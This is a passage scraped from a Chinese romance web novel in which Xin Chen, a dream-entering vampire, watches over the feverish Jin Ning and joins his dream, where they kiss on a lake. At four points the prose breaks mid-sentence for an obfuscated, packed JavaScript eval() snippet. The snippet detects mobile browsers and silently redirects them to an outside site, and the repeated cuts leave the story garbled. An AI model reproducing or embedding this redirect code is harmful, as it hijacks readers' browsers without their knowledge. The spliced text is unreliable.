躺着的人突然不动了，辛宸又亲了两口，依然没得到回应。 他抬头拉开了距离，身下的人脸色潮红，但是表情趋于平静，看起来十分无辜。 辛宸猛得起身，意识到自己干了什么，坐在床边不禁抬手捂住了脸。 他撑着膝盖沉默了一会儿，耳边是金宁平稳的呼吸和心跳声，他一向麻木的心跳都变得杂乱起来。 他抬手摸到金宁的脸上，大拇指抚过被柔软的嘴唇，擦掉因亲吻而残留的水渍，却抹不去蔷薇一般的红润色泽。 梦里，进行到哪里了？ 那个人，那个幻象，不是他，虽然也不是任何人。 他如果现在睡着，倒是可以进入梦境“成为”幻象本身，但是…… 很过分，他不该趁人之危。 “你们又在做什么啊……”辛宸小声呢喃。 —— 金宁在梦里打了一下午牌，把好友杀了个片甲不留，迅速将x幻想对象抛诸脑后。 直到慢慢转醒。 头上的冰凉触感吓了他一跳，唤醒了和辛宸接吻的回忆。 体温偏低的人，嘴唇也是凉凉的，但是他自己的体温很热，炽热来回传递着，直到分不清彼此。 金宁舔了舔嘴唇，眼睛没睁开，脸就先红了。 屋子里静悄悄的，他做贼心虚般，悄悄睁开一只眼睛，抬手摸上额头，是退热贴。 松了一口气的同时，余光瞥到一道阴影，他慢慢转头看过去。 背着光的人坐在窗口桌子前，夕阳斜射过来，将影子拉得很长，一直落到床头。 那人就坐在那个花瓶前，不知道是在看花还是沉思。 “辛宸？”金宁愣了一下，该不会还是在做梦吧！ 他快速坐起身，脚动了一下，还是很疼，淡淡的草药味飘荡过来，这显然是现实。 他才舍不得梦到自己疼。 窗前的人听到声音回过头，背着光影看不清脸色。 “你醒了。” “嗯，”金宁问道：“你不是对阳光过敏吗，为什么要坐在太阳底下？” “刚坐过来，傍晚阳光不大，没关系。”辛宸找了借口，其实他坐了一下午。 在床边坐着时，心里有个魔鬼一样的声音一直在说：他是你的，他是属于你的！他也想要你，他内心最深处的欲望，是你。 而另一个声音，是他的父亲对他的告诫： 【没有人天生属于你，特别是人类。】 【在血族的世界，血脉为尊，强者为王，但是在人类的世界，你要赢得他的真心，他才会勉强视你为所有物。】 所以他要忍耐。 他坐到窗前在阳光下，让身体的痛苦带走部分焦灼。 在剩余的焦灼中忍耐，等待。 “什么时候来的？找我有事吗？”金宁坐起身。 下意识地整理睡乱了的头发，也撕掉了额头的退热贴，把裤腿往下拽了一点，领口……为什么能歪成这样?半边肩膀都要露出来了！ 辛宸目光没离开过，沉声道:“来了一会儿了，你发烧了。” 金宁:“哦，我睡得太沉了。” “现在退烧了吗？”辛宸起身，高大的身影遮住了更多的光线。 傍晚橘黄色的光给他镀上了金色的轮廓。 “没，不知道……”金宁坐在床边仰头看他，走到近处的人面部终于清晰起来。 被阳光晒过的脸有了一丝血色，但是不难看，反而更生动，嘴唇……好像更红了。 红润的薄唇，真的会像梦里那么软吗？ 金宁咽口水，差点被呛到，扭过头，完了！不能直视了。 一只冰冷的手落在额头上，金宁往后缩了一下躲开了。 辛宸攥紧手，收了回来，“还是觉得不舒服吗？” “好多了。”金宁脸上发烫，不知道自己退热没有，这次醒得有点太快了，只在梦里打完了四圈牌。 “做什么梦了？” “嗯？”这人会读心吗？金宁抿唇，嘴唇有点干涩，下意识否认，但是没什么底气:“没有吧……” 辛宸：“你说梦话了。” “说什么了？”金宁不敢看他，想着不管他说什么直接不承认，问就是听错了。 辛宸垂眸看他，低着头的人耳朵都红了。 刚平息的烦躁又冒上来了，嫉妒到要发疯，人也愈发地阴沉。 金宁感觉到气氛不对，但是他回头一想，他不可能说什么奇怪的梦话啊，最多就是“抢地主”、“要不起”！ 这，完全不该心虚。 他一边给自己做心理建设，一边抬眸，视线划过辛宸的裤腿，裤缝笔直，小腿好长，小腿往上还是小腿，大腿，然后是看起来就很有韧性的腰…… 摸过了，有腹肌。 金宁掐了自己大腿，那都是梦！ “我没听清楚，”辛宸不再追问没有问题的答案，声音淡淡道:“要去客厅吗？饿了吧？” “嗯，去吧。” 金宁感觉自己还在发烧，但是难得的没有昏昏沉沉，去楼下坐会儿或许可以保持清醒。 他现在已经无法直视辛宸了，再两个人待着，他的心脏承受不了。 辛宸:“我背你。” “不用，我可以走。” 金宁抬手挡住了辛宸的搀扶。 幸好，虽然起身后脚背依然很疼，但是能一瘸一拐地走路了，只是速度慢一些，像半身不遂。 “姜医生真的很厉害啊，”金宁挪动到墙边扶着，感叹道:“出了深山，他一定可以帮助很多人。” 辛宸站在他身后，听到他提起姜医生，神色漠然。 那个老头，为了延长在梦境里的时间，甚至会给自己下重药……醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521217|155125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不来的概率随着药物的堆积，以及年龄的增长，逐次提升。 凡人之躯，总有油尽灯枯之时。 金宁如果知道这老头要死了，会不会觉得惋惜呢？ —— 金宁挪动到了屋外刚好遇到了黎逢，两个伤员互相搀扶着下楼。 最后金宁是扶着扶手单腿蹦下去的。 到二楼客厅的时候，他已经累得没劲了，头脑昏沉得厉害，像是随时可能又晕过去。 但是好不容易才蹦下来，立刻又上楼，真的很傻。 金宁强忍着困意，倒在了沙发上，擦了擦虚汗。 “你是又发烧了吗？”黎逢在他旁边坐下，看他蔫掉的样子，紧张地问道：“吃药了吗？” “嗯，吃了，已经在退了。”金宁努力睁着眼睛，吃药不管用，这样说也只是善意的敷衍，他转移话题道：“打牌吗？” “我回来了！”徐长夏加入闲聊，他在几人午休时跑出去溜达了一圈，一边卸装备一边说道:“打牌？我超会打牌！三缺一！” “哈哈！”金宁听到了梦里一样的话，笑道:“我下午睡觉梦到我们打牌，我把你们杀了个片甲不留，今晚就打牌吧！” 他晚上也不想睡了，看着辛宸的背影，还是有点难为情，但是同时，看到他的肩膀，就想到被裹进怀里；看到后脑勺，就想到手指陷进他的头发里扯住、揉乱……真要命啊！ 如果入睡后再梦到，他大概率是控制不了的。 “你个菜鸡，还想赢我！”徐长夏起身，“等着，我去拿牌！” —— 辛宸正在厨房倒水，听到金宁的话，水溢出来都没发现。 做梦……打牌？ 山伯咳了一声，看向辛宸严肃地说道：“走神了？在想别的事情？还是在听不该听到的对话？” 辛宸看了他一眼，知道对方是好心提醒，他确实不该去听别人的对话。 他提起下午没来得及说的事情:“徐长夏他们知道你们被黑熊攻击的事情了，如果晚上说起，你不要说谎掩盖，直接承认。如果他们提起满身是血的孩子……” 山伯先是愣了一下，头皮发紧，当年缝了不少针，“放心，我知道该怎么说，不会说你……” 辛宸抬手放在嘴唇上，做了个噤声的姿势。 “山伯，我来帮忙做晚餐。”黎逢的腰还很疼，但是也不至于让两位老人忙个不停，当然，他也不指望徐长夏，至于金宁，不昏死过去就算是帮大忙了。 辛宸错身离开厨房，端了水往客厅走。 客厅沙发上，金宁抱着胳膊已经快要倒在扶手上了，因为失去支撑，脖子倾斜着，颈侧大动脉青青的一根非常明显。 过高的体温几乎是向外散发着热度。 “金宁？”辛宸俯身靠近叫了他一声。 金宁抬起眉毛，试图将眼皮掀开，他迷迷糊糊地抬起胳膊，嘴里嘟囔着:“拽我一下，唔（我）嗯（们）要去哪儿？” 辛宸皱眉，接住他的手，不轻不重捏了一下，“醒醒，喝水。” 金宁被吓得一个机灵，睁开眼睛，却无法聚焦，眼前人影晃动，重叠又剥离。 他努力聚焦，终于看清眼前的人，但是很快又神志不清了，用最后的力气勉强拼凑了一个句子:“你抱我回房间好吗？” 辛宸:？ “送……” 这是金宁昏迷前说的最后一个字，好歹是找补完了。 11. 度假 屋外暮色渐沉。 辛宸端着水杯站在原地沉默了许久，试图理解现在的情况。 被他赋予梦境的人，不会发烧，更不会在中途醒来又睡过去。 他以为金宁已经清醒过来了，没想到还能续上？ “又昏过去了？”黎逢被赶出了厨房，刚回客厅就看到这副场景，无奈道：“不用担心，过两天就醒了。” “过两天？”辛宸疑惑。 这么久？ “也可能一天，”黎逢发现自己异常冷静，大概是因为现在也只有他了解金宁的“病情”，如果他再慌张，可能会吓到别人，也会毁了金宁的假期，“先观察一下，晚上我守着他就好。” 辛宸想到金宁做梦时缺乏防备的样子，没有来得及思考就反驳道：“我守着。” 黎逢皱眉，“不合适。” “你守着就合适吗？”辛宸生气的时候语气更冰冷了。 “合适。”黎逢觉得辛宸在搞笑，从热情殷切到没有边界感只隔一线之差，但是他还是尽量礼貌道：“今天真的谢谢你的帮助和照顾了，我知道你是一片好心，但是如果是你的话，会把朋友交给一个刚认识一天的陌生人照顾吗？” 辛宸抿唇，站在黎逢的角度来说，他确实是个陌生人。 对于金宁来说也是。 辛宸退而求其次说道：“我先送他去房间，在你们吃晚餐这段时间，我先守着他。” 黎逢犹豫着同意了，他的腰受伤了，想架着人上楼也力不从心，干脆就接受辛宸的帮助吧。 辛宸看了一眼靠在沙发扶手上昏睡的人，睡得那么香，也可能只是累到睡着了，不是又陷入了梦境中。 他靠近后手臂穿过金宁的后背和膝弯将人直接抱了起来，被抱住的人突然抬起胳膊搂住了他的脖子，将脸靠在了他的胸口，蹭了蹭，找了个舒服的位置把脸埋了进去。 黎逢：…… 这小子真的，该不会在装睡吧！ 辛宸也怔了一下，他听到金宁小声嘀咕了一声，又在说梦话了。 他得赶紧把人抱回房间。 辛宸抱着人离开了客厅，转到楼梯口时，正面迎上了正在下楼的徐长夏。 徐长夏手里的扑克牌被洗得咔咔作响，他刚刚在房间已经熟悉了一下新的纸牌，手感超好。 待会儿一定可以秀到他们头皮发麻！ 他这么想着一抬头，就看到好友被公主抱着出现在了楼梯口。 手里的纸牌哗啦啦飞了出去，散落在台阶上。 这比惊掉下巴还夸张，是在惊掉下巴后，因为大惊小怪而社死了。 “啊抱歉，手滑了！”徐长夏赶紧捡纸牌，又抬头瞄了一眼，还好看到了跟在后面的人，“黎哥，你也在呢！” 所以不是他想的那样的，这俩人不是搂在一起，而是……是什么情况要这样抱呢？ “嗯，金宁生病了，屋主帮忙送去房间。”黎逢解释道，一看就知道徐长夏想歪了。 徐长夏的目光这才敢落在两人身上，屋主目光黑沉，金宁毫无动静，他后知后觉担心起来，“哦，不严重吧？你们快上去吧！” 他主动让路。 辛宸点头上楼，后面跟了两个探头探脑的大尾巴。 他也只能无视，把金宁轻轻放到床上的时候，搂着脖子的手都没松开，但是旁边有四只眼睛盯着，他只能拽着金宁的手拉下来。 熟睡的人无意识地抓住了他的手，翻了个身，把他的手心压在了脸下面，感受到低温，又舒服地哼了一声。 辛宸想叹气了，让黎逢守着肯定是不行的。 而站在一旁的两位交换了一下眼神—— 徐长夏：这是我能看的吗？ 黎逢：这对吗？ “你们先去吃饭吧，我会照顾他的。”辛宸感觉此时无需多言，是金宁拽着他。 黎逢无奈，被徐长夏拖出了房间。 屋里又只剩下两人，辛宸够了椅子过来坐在了床边，抬手拨了拨金宁的额发。 熟睡的人看起来很温柔好亲近，不像醒着时，一双琥珀色的眸子，带着看透一切的漠然。 辛宸拽过金宁的手，握住食指送到了嘴边。 脖子上的伤口已经没什么味道了，如果咬脖子的话，那个血量，他没有自信能控制住自己，毕竟光是看着金宁脖子上的脉搏，他就已经口干舌燥了。 饱满的指腹碰到唇边，尖牙轻轻刺了一下，血液就流了出来，迅速用舌头舔过，伤口随即消失不见。 尖锐的痛感让金宁的手指蜷缩了一下，辛宸安抚地拍了拍他的手背，闭上眼睛跟进了金宁的梦境中。 —— 和现实中不同，金宁梦里的季节是秋季。 远处是树林，常绿的树木占了大多数，但是也有一团一团的黄色和枫红色，看起来像一幅暖色调的油画。 草地泛黄干燥，成为了天然的马场。 明明就是别墅门口，但是辛宸却觉得自己从未看到过这样的风光。 在他愣神的时候，金宁骑着黑马嘟嘟闯进了他的视野里，马背上还有一个人。 和他长得一样。 当他以嗅闻血液的方式入梦时，他只能作为旁观者，在梦中不能被看见。 所以他像个透明人一样站在一边看着两人在草地上骑马，骑了一圈又一圈。 金宁脸上的笑容没停过，而他身后那个“幻象”也是一脸温柔。 辛宸冷脸看着。 那个和他一样的人，身形挺拔，但是穿得很浮夸—— 黑色的长外套敞开着，露出里面的紧身马甲，马甲上有两排金色的金属扣。 内搭的是白衬衫，下身则穿着包裹性很好的白色高腰马裤，脚上是黑色皮质马靴，长度刚好遮住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521218|155125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修长的小腿，牵着缰绳的手上还套着贴肤的黑色手套。 像个过分精致的黑色骑士。 金宁对自己的装扮倒是很随意，是个可爱的格纹衬衫牛仔。 那两人骑了无数圈，甚至干脆骑在马上，让马到处闲逛，好像也没打算做什么，甚至没有交流。 辛宸等了一会儿，想着黎逢他们大概要回来了，于是退出了梦境。 回归现实后，他低头看了一下自己的穿着，黑衬衫，黑长裤，原来金宁喜欢那种华丽的穿着吗？ 他倒是有很多定制西装和马术装备。 在听到背后传来声音时，他松开了金宁的手。 黎逢敲了敲门见屋内的人回头才说道：“屋主，你去吃饭吧，我给你单独留了。” “不用了，我不饿。”辛宸直接拒绝。 黎逢“哦”了一声，也没强求，看到朋友还安稳的躺着，他放心了很多。 他紧赶慢赶地吃饭，结果还是因为听山伯讲故事耽误了点时间。 吃饭的时候，徐长夏问了白天听到的事情，山伯绘声绘色讲了一通他们怎么在树林里遭遇大黑熊袭击，又是怎么被救，听的两人身临其境一般。 说起那个孩子时，山伯笑笑说是当时屋主的孩子，也就是现在的屋主本人，小孩子听到声音跑到树林边缘，被回来求助的幽叔抱回来，所以搞得一身血。 而故事里又多出了一个原屋主，原屋主拿着麻醉枪放倒了黑熊，救了他们。 但是他们问起老屋主人去哪里了，山伯又支支吾吾了。 所以听完之后，就连一向宽和的黎逢都开始觉得哪里不对劲。 好像什么都说得通，又总会有说不通的地方。 黎逢看着辛宸，目光带上了审视。 室内一片安静时，徐长夏探头进来，压低声音问道:“金宁真的没事吗？” “嗯，别担心。”黎逢也只是按经验在推断，之前金宁发烧时就是这样的，最后都会醒来。 唯一进重症监护室的那次，他昏迷时不是现在这样的表情，那次是很痛苦的。 辛宸听出黎逢语气中不寻常的淡然，问道:“他以前也经常发烧吗？” 黎逢不想透露金宁隐私，但是有的人很在乎身体状况，如果辛宸因此就疏远金宁的话，还是早点远离的好。 黎逢:“嗯，一直这样，很多年了，医生也检查不出原因，只说大概率是血液问题。” 说着他打开了药箱，拿了耳温枪，在辛宸的注视下，量了金宁的体温，39度5。 耳温枪的屏幕从绿色变成了红色。 “这么高！”徐长夏凑过来看了一眼，“他怎么睡得着的？好惨啊，嘴巴都烧肿了……” 辛宸:…… 说着着正经事，突然当头棒喝，提醒他把人家嘴巴亲肿了。 他轻咳了一声，掩饰尴尬。 12. 度假 辛宸垂眸，目光落在了金宁的嘴唇上，没徐长夏说的那么夸张，只是红了而已。 嘴角弯弯的，天生的带着笑意。 不行！他还是得进入金宁的梦境，那么现在他要先离开。 “我先去吃饭。”辛宸找了个借口。 黎逢点头，完全不在乎他离开还是留下，留下可能更尴尬吧。 这一屋子里挤四个男人，不打牌就会显得很怪异。 黎逢:“徐长夏，你也回去休息吧。” 徐长夏点点头，对辛宸说道:“可以找那个老头医生来看看吗？我听说推拿退烧很管用。” 辛宸正在试图把手抽回来，“好，我去找他。” 手刚抽出来一点，金宁立刻跟着动了一下，但是没有继续拉扯，而是翻了个身又睡了过去。 辛宸的手心都被捂热了。 他捏了捏手心，把被金宁卷得凌乱的毯子拉整齐后，才转身离开。 他没有去找姜医生，直接回了自己的独栋别墅，进了卧室就躺下开始试图入睡。 但是真的很难，想到睡着后可能发生的事情，他在羞愧的同时，忍不住期待，又立刻陷入自我鄙夷，再转而心情躁动……周而复始。 他躺平了一会儿还是不行，完全睡不着。 麻醉枪倒是有的，但是那个剂量对他没什么用处。 辛宸无奈叹气，下楼开车去找姜医生，老头那套自我麻醉的设备，加大用量，应该可以把他放倒吧！ —— 徐长夏回房间时，看到辛宸开车出去又跑回去跟黎逢聊了一会儿。 徐长夏:“屋主可能是去找姜医生了。” 黎逢回道:“等等看吧，如果真的是，天都黑了还开车出去，真的挺上心的了。” 徐长夏都有点期待了，“我们金小宁铁石心肠，看看他能不能撬动吧。” —— 辛宸开车到村子后，下车直接冲进姜医生的竹楼里。 和辛宸一样，姜医生也有一间地下室，这样就算几天没外出，村子里的人也会默认他上山了，或者去城里了，而不会发现他给自己身上扎了一堆针管，输着安眠和麻醉的药剂，以及续命的营养液。 够他睡个一周，不至于嘎掉。 辛宸推开地下室的门，就看老头像个科学怪人躺在那里，比他想的还要夸张。 但是这老头的自救措施很到位，领口里贴着电极片，连接在设备上，设定了唤醒时间。 辛宸看了一眼冷藏柜里的药品，拿了个空箱子装了可能用到的，他看了老头一眼。 扰人美梦确实不好，但是金宁发烧的情况真的很奇怪，徐长夏说的对，应该找个医生看看。 辛宸动作很快地把姜医生从一堆仪器和缠绕在一起的线中挖出来，右手扛人，左手抱着纸箱，离开了村子，驱车回家。 至于村子里目睹这一切的人，又有了新的故事可说—— 老神医那一胳膊的血啊！像个破麻袋一样被扛走了。 没人敢出去阻拦，因为感觉人已经死透了。 —— 回到家里后，见姜医生还是没有醒来的趋势，辛宸直接给他打了肾上腺素。 再不醒的话，除颤仪他也带了，但是他不太会用，电量控制不好的话…… 幸好，姜医生立刻醒了过来。 看到辛宸的脸，姜医生吓到差点又晕过去，捂着胸口一阵抽痛。 意识回笼后五味杂陈，离开梦中妻女的苦涩，被强行叫醒的愤然，以及还想仰仗他人施舍的卑微…… 最后也只是化为无奈，垂下头等着辛宸发话。 辛宸拧眉，从纸箱里拿了纱布丢给他，卷起袖子靠在了沙发上，说道:“药在箱子里，你自己看着办，我要入睡，立刻。” 姜医生听懂了，虽然不解，但是照办了，快速给自己裹了纱布，然后颤抖着手拿注射器配药。 辛宸已经躺好了，长腿交叠着，胳膊放在身侧，继续说道:“你想要的梦，等我醒后，会补偿给你。在我醒来之前，你在门外守着，不要被其他人看到。” 姜医生死灰一样的眸子因为他的前半句话又亮了起来，“好好好，我知道了。” 辛宸看着针头从胳膊肘处的静脉扎进去，大量的液体被推进身体里，比他的体温要凉很多很多，意识有一瞬间的模糊，追加一针后，他才慢慢陷入昏迷中…… —— 梦中，场景没变，依然是油画一般的秋日风景。 和辛宸如出一辙的幻象牵着马，金宁背着手跟在一边。 两人踩着落叶，脚底下的草地上铺着一层飘落的金黄色枯叶，在被踩过时，发出柔软的脆响，像是秋天在窃窃私语。 辛宸快速上前，原本无声的脚步，在身体和幻象融合后，同步了。 入睡时，他可以进入金宁的梦境，这是他从小就知道的事情。 甚至，如果金宁梦到了他，他就可以替代那个幻象。只要顺着金宁的想法，就不会被驱赶。 所以虽然他不需要睡觉，甚至讨厌睡觉，他也慢慢学会了按时睡觉，期待着能和他唯一的“朋友”在梦境中相遇。 赋予梦和入梦，是他在7岁那年觉醒的血族异能。 通常，他都是作为观察者，去窥探他人内心的极端渴望和深层恐惧，这也是他能成为审理人的原因。 但是，在金宁的梦境中，他可以成为梦境的一部分。 “我们现在要去哪里？”他问金宁。 金宁转头看他，“散步啊，走到哪里算哪里……” “你没有更想要的东西吗？”辛宸问道。 所有人，在他赋予的梦里，想要的东西都非常特定，金钱财富、权利地位、青春美貌…… 金宁的梦境，却像是普通的日常，好像这个人毫无贪恋，他只想要一些平凡的不能再平凡的东西。 辛宸看不懂他，也越发觉得他和别人不一样。 所以现在该说些什么让他开心呢？上次那个幻象是不是说了哄人的话？ 大概就是人类常说的，提供情绪价值。 辛宸轻咳了一声，说道:“你今天特别好看……” 金宁微笑，“你是说这个牛仔装扮吗？” 他抬手再抬起时，一顶牛仔帽出现在手中，被他戴到了头上。 棕色的宽帽檐，衬托的脸小小的，皮肤白皙，微笑也非常明媚。 “你笑起来……”辛宸感叹自己语言匮乏，只会说好看，于是从心底挖出一句，“让我也觉得很快乐。” 是的，从不快乐，到快乐，就因为金宁的一个微笑。 金宁怔了一下，看向他问道:“辛宸，你是喜欢我吗？” 辛宸没想到他这么问，但是这是金宁的梦境，金宁大概是希望自己是喜欢他的，不然为什么要梦到他？ 而且梦到他们接吻。 所以他承认的时候并没有什么心里障碍，不管是角色扮演还是真实的想法，他的答案是一样的—— “喜欢。” 但是在他说完喜欢后，金宁却从他眼前消失了。 整个梦境陷入黑暗之中。 辛宸叹气，不理解这个回答到底哪里错了。 很快眼前的场景开始变幻，黑色分裂出自然的色彩，静谧中被填充了声音，像是宇宙大爆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521219|155125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炸一般。 整个人晃晃荡荡，空气中弥漫着冷冷的气息。 辛宸在一阵拉扯中，重新融入幻象，也终于看清了眼前的场景。 他和金宁正在一片青蓝色的湖上，面对面坐在一个小船里。 船很小，桨板横在一边，两人的小腿挨在一起。 湖边是成片的红杉树，湖面上波光粼粼，偶尔飘过几片树叶，周围只剩下微风拂过水面的声音。 金宁低着头，手里捧着一个画板，手里拿着画笔，正在一边思考一边画着什么。 “你在画什么？”他问金宁。 “我小时候来过这个地方，”金宁说话时没有抬眸，“我在这里遇到一个小男孩，他特别可爱，比我可爱多了。” 金宁微笑，似乎是想起了一而再再而三的被夸奖。 金宁:“他是我拥有的第一个朋友。” 辛宸心脏仿佛被击中，说不出一句话来。 “我差点把他忘了，”金宁把画递给辛宸，眼睛却看向别处，说道:“我告诉妈妈，我认识了一个小男孩，他叫……他说他是从天上来的，从最亮的那颗星星上……” 金宁皱眉，那个孩子确实没说起过自己的名字。 “你记得他。”辛宸说。 金宁点头，“但是心理医生说，每个孩子都会有假想中的朋友，虽然对于我当时的年纪来说并不正常……” 他当时11岁了，又是大病初愈，家里人认定他在说胡话，却不敢刺激他。 “心理医生说我是因为长期生病住院，太孤独了，所以想象了一个朋友，”金宁认真地思考了一会儿，手指抵在唇边，“可是我带着他去了我最爱的游乐场，我们一起吃冰激凌，坐旋转木马，躺在草地上聊天……我不想承认那是假的，我要怎么承认我唯一的朋友是假的？” 辛宸以为他忘记了，垂眸敛去颤动的眸光，看着金宁递给他的画—— 小小的孩子抱着膝盖坐在草地上，柔软的黑发盖住了耳朵，也遮住了眉毛，眼睛很大，但是眼神孤独又恐惧…… “妈妈很生气，说那些都是假的，让我不要再奇奇怪怪的，不要再吓唬她……”金宁沉默了一会儿，他说这些时心平气和，只是想分享，想和眼前的人分享，总觉得辛宸可以理解他，因为，辛宸也很怪，大概不会觉得自己怪异，金宁看向辛宸问道:“你说，他会不会一直在等我……” 辛宸想说，会。 “那么孤独的小朋友，”金宁叹息，“会不会一直在我梦里的某个角落里……等着我……” 辛宸握着画板的手指在颤抖。 “我遇到他那年，他好像是六七岁的样子，算起来，现在也差不多和你一样大了。” 金宁说完，自己先愣住了。 辛宸不知道自己该说什么，承认吗？怎么解释呢？ “哇果然是我能做出来的梦，真是乱七八糟啊，”金宁自顾自地笑了，笑了好一会儿，再抬眸时，眸光中带着点小邪恶，“我真的很想对你做点什么……” 辛宸紧张了，怎么话题突然变了？ 金宁往前擦着他的小腿爬了过来。 小船因为船上人的动作，轻轻晃动着。 辛宸扶住船边，试图让船稳定下来。 对面的人却像只猫一样，无声无息将手按在了他的大腿上，继续往上攀附。 辛宸下意识往后躲了一点。 金宁似乎是被他的动作逗笑了，额头抵在了他的胸口。 带着笑意的声音很好听，抓挠着辛宸的心脏—— “这是我的梦，由我主导，所以除非我想让你消失，不然你逃不掉，知道吗？” 13. 度假 辛宸定定地看着近在咫尺的人。 内心只挣扎了一秒钟，给自己找了两个屈服的理由—— 第一，这是梦，甚至算不上肢体接触，第二，这是两个人一致的想法，所以算不上谁占谁的便宜。 唯一不妥之处是，金宁不知道他是真的有意识的。这点很好解决，醒来后，他可以假装都没发生过。 等到一切尘埃落定时，再坦白。 金宁自信地说他可以掌控自己的梦境的样子，真的好可爱。 辛宸不由得跟着他露出微笑。 小船还在摇晃，但是是那种能将人催眠的幅度，甚至没有辛宸心脏跳动的幅度大。 “你在笑什么？”金宁歪头问道。 辛宸抬手抚摸金宁的侧脸，在他睫毛颤动时，说道：“你的梦，你想做什么都行。” 低沉的嗓音，温柔得不像话，金宁感觉自己被蛊惑了，脸红了，脖子更是烫得厉害，随即被冰冷的手抚摸着，冷热交替，酥麻了一片。 金宁的一只手还按在辛宸的大腿上，另一只手按住了肩膀。 小船太狭窄了，他现在也没有心思去创造一个大船。 那还不如直接幻想一个大床。 他立刻叫停了自己乱七八糟的想法，不然下一秒真有可能会坠落在大床上，那就真的有点过分了。 会显得他像是老房子着火忍不了一点的大色批。 即使在梦里他也还是有点包袱的。 但是话又说回来了，春梦而已，到底在怕什么？ 给这个梦加了“春梦”的标签之后，金宁只觉得口干舌燥。 果然，不管是人还是梦，都不能随便加标签。 这直接让他放下了包袱，侧身坐到了辛宸的腿上，甚至搂住了对方的脖子。 辛宸僵硬着没动，但是所有自矜自持在对上那双琥珀色的眼睛后，都化为了虚无。 脑子里所有的理性思考也随之根根断裂。 两人对视着，目光里容不下其他，心照不宣中，又都带着点紧张。 第一下是腼腆的，嘴唇轻触了一下立刻分开，高鼻梁打架了。 默默侧开后，第二次就没有那么客气了。 毕竟上次也没客气，虽然没什么技巧，但是渴求大过一切。 对于金宁来说，就是梦里的一切都是我的。 而对于辛宸来说，是我本身就属于你，同时，你也终将属于我。 所以，虽然两个人的脑内活动不在一个层面上，但是渴求的程度差不多，亲吻来势汹汹，完全没有克制可言。 小船晃得更厉害了一些。 金宁的舌头被吮吸着，想着船翻了也好，湿透了更好。 他的身上好热，像是坐在妖怪准备蒸煮了唐僧的大锅上一样。 他这么想着又开始往辛宸怀里钻，这个人体温很低，应该是很舒服的。 他的手从衬衫的下摆里钻了进去，顺着劲瘦柔韧的腰，摸到了胸肌上，探寻着，每一处都肌理分明。 不同于他自己瘦削的身材，摸起来没二两肉，而他梦里的人，身材像个完美的雕塑。 又不同于雕塑的冷硬，光滑柔软好摸，所以他摸来摸去。 然而，这样好吗？他是这种占人便宜的人吗？即使是在梦里。 而被摸的人气息不稳，恰如其分地轻轻“唔”了一声。 金宁又丧失了理性。 首先，他也是个人，而且意志偶尔也挺薄弱的！ 不然现在也不会做这种梦。 对方似乎是被刺激到了，整个人变得很有攻击性，肩膀和双臂朝他收拢过来，直接将他整个裹进怀里，搂得紧紧的，密不透风。 “等等等等！”金宁要缓一下，明明是凉快的秋天，他却被亲的后背出汗。 他偏开头躲开了还在持续落下的亲吻，那些吻就落在了他的耳边，耳垂上，脖子上，锁骨上…… 辛宸努力平复呼吸，不由得又想起父亲说的——要赢得他的真心，他才会勉强将你视为所有物。 他当时问父亲，要怎么去赢得人类的真心呢？ 辛博士在一旁附和道：“不要那么急迫，首先你要展现你的优势，然后展开追求，表达你的喜欢，至于选择权，在对方手里。” 父亲叹气道:“并不是所有人类，都想要永远不死。” 辛宸觉得还是得问问人类才行，所以他问幽叔：想要成为人类的伴侣，到底需要具备怎么样的优势和条件？ 幽叔说：有房、有车、有钱、有颜、人品好，值得托付终身，当然最重要的是身体好，能相伴到老…… 山伯:肤浅了，我觉得有爱就可以了，付出爱，付出一切。 不管如何，7岁的孩子在发问时，不靠谱的大人们认真做了解答，辛宸也默默记在了心里，从此，开始有意识地去学习怎么样成为一个完美的伴侣。 一开始，他并不懂伴侣的意思，以为朋友伙伴就是伴侣，后来他懂了，他想要的就更多了。 他想成为值得对方托付永世的人，而非终生。 “你在想什么？”金宁捧起他的脸。 辛宸抬眸，喃喃道:“以后你会明白的，希望你到时候，能选择我。” 金宁露出疑惑的神色。 辛宸微笑，他没有扮演好完美幻想对象的角色，他又成为了他自己，所以他应该会被驱逐吧。 但是没关系了，他知道金宁没有忘记那个在梦境角落里等待着的孩子。 知道了他们之间是互相吸引的，即使金宁才认识他一天，他们还是黎逢口中的陌生人。 还有两周的时间，他们可以在现实世界里慢慢了解。 他也会用正确的方式去赢得金宁的心。 辛宸等待着场景的变化，但是没有，只有不断靠近的脸。 额头抵着额头。 金宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 